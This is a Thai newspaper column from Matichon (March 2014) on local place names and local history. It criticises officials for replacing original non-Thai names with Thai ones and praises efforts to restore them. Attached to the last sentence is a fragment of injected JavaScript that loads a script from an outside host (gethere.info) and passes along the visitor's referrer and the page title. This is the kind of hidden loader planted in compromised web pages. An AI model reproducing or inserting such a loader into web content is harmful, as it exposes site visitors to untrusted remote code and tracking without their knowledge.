มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 6 มีนาคม 2557

 

Place name ชื่อบ้านนามเมือง

          ชื่อบ้านนามเมือง เป็นวลีที่ อ. สมบัติ พลายน้อย คิดผูกขึ้น ตั้งแต่เรือน พ.ศ. 2500 (เกือบ 60 ปีมาแล้ว) ผมอ่านพบครั้งแรกในวารสารวัฒนธรรมไทยรายเดือน ของกระทรวงศึกษาธิการครั้งนั้น แล้วจำไม่ลืม แต่ไม่รู้ว่าจะจำไว้ทำอะไร?

          กระทั่งหลัง พ.ศ. 2522 ยกมาใช้งานประวัติศาสตร์ท้องถิ่นเมื่อเริ่มออกหนังสือศิลปวัฒนธรรมรายเดือน แล้วใช้ในงานอื่นๆ สืบมาจนบัดนี้

          ครูบาอาจารย์ผู้ใหญ่บอกว่าวลีชื่อบ้านนามเมืองตรงกับศัพท์วิชาการในภาษาอังกฤษ place name (ไม่แน่ใจว่าจะเขียนถูกต้อง) หมายถึง ชื่อเสียงเรียงนามสถานที่ต่างๆ รวมถึงชื่อภูมิประเทศสถานที่ทุ่งนาป่าเขา แม่น้ำลำคลองห้วยหนองบึงบางบุ่งทาม ฯลฯ

          เหตุที่ยกวลีขึ้นมาเป็นเรื่องสำคัญ เพราะในชื่อบ้านนามเมืองแฝงประวัติศาสตร์ความเป็นมาของสถานที่นั้นๆอยู่ด้วย ซึ่งล้วนเป็นประวัติศาสตร์สังคม

          แต่การศึกษาสมัยใหม่ของไทยเหยียดความรู้อย่างนี้ จึงตัดทิ้งไป ก็ยิ่งทำให้ประวัติศาสตร์ไทยไม่มีสังคมวัฒนธรรม มีแต่ราชวงศ์และสงคราม

          ประวัติศาสตร์ท้องถิ่นอย่างง่ายที่สุด เป็นเบื้องต้นที่สุดคือรวบรวมคำบอกเล่าความเป็นมาของชื่อบ้านชื่อเมือง ชื่อสถานที่ต่างๆ โดยไม่ต้องตัดสินชี้ขาดว่าถูกหรือผิด? ใช่ หรือไม่ใช่?

          ที่สำคัญคืออย่าบิดเบือนชื่อเหล่านั้นโดยบังคับให้เป็นภาษาไทย เพราะมีชื่อจำนวนมากเป็นคำท้องถิ่นดั้งเดิมในตระกูลภาษาต่างๆ เช่น มอญ-เขมร, ชวา-มลายู, ม้ง-เย้า, ทิเบต-พม่า, จีน-ทิเบต,ฯลฯ

          แต่มักถูกทางการ เช่น ศึกษาธิการ, มหาดไทย บังคับให้เปลี่ยนเป็นคำไทย ซึ่งเท่ากับปลอมหลักฐาน และความหมายวิปลาสคลาดเคลื่อนผิดไปจากเดิม

          ศูนย์อนุรักษ์ศิลปวัฒนธรรมท้องถิ่นและสิ่งแวดล้อมจังหวัดชายแดนภาคใต้ ร่วมกับนักวิจัยจากสถาบันต่างๆ ร่วมกันศึกษาค้นคว้าวิจัย แล้วผลักดันให้ปรับแก้ชื่อบ้านนามเมืองที่ถูกทำให้คลาดเคลื่อนคืนสู่ชื่อเดิม แสดงความหมายเดิม เป็นเรื่องที่ควรยกย่องสรรเสริญอย่างยิ่ง แล้วควรทำต่อไปเรื่อยๆจนกว่าจะแก้ไขครบถ้วน

          จังหวัดอื่นๆ สถาบันอื่นๆ ในท้องถิ่นต่างๆ ควรลงมือทำตามแบบนี้บ้าง

          ถ้ารวบรวมแล้วไม่รู้จะเอาไปที่ไหน? ยังไง? กรุณาส่งมาแบ่งปันอ่านก่อน ผมจะพยายามหาช่องทางร่วมด้วยช่วยกันเผยแพร่ต่อไปs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;